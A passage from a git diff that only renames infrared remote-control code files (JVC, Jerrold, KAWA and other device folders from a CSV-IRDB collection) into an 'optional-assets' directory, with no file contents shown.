b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/TV/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/TV/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/TV/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/0,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/1,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/8,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir similarity index 100% rename from 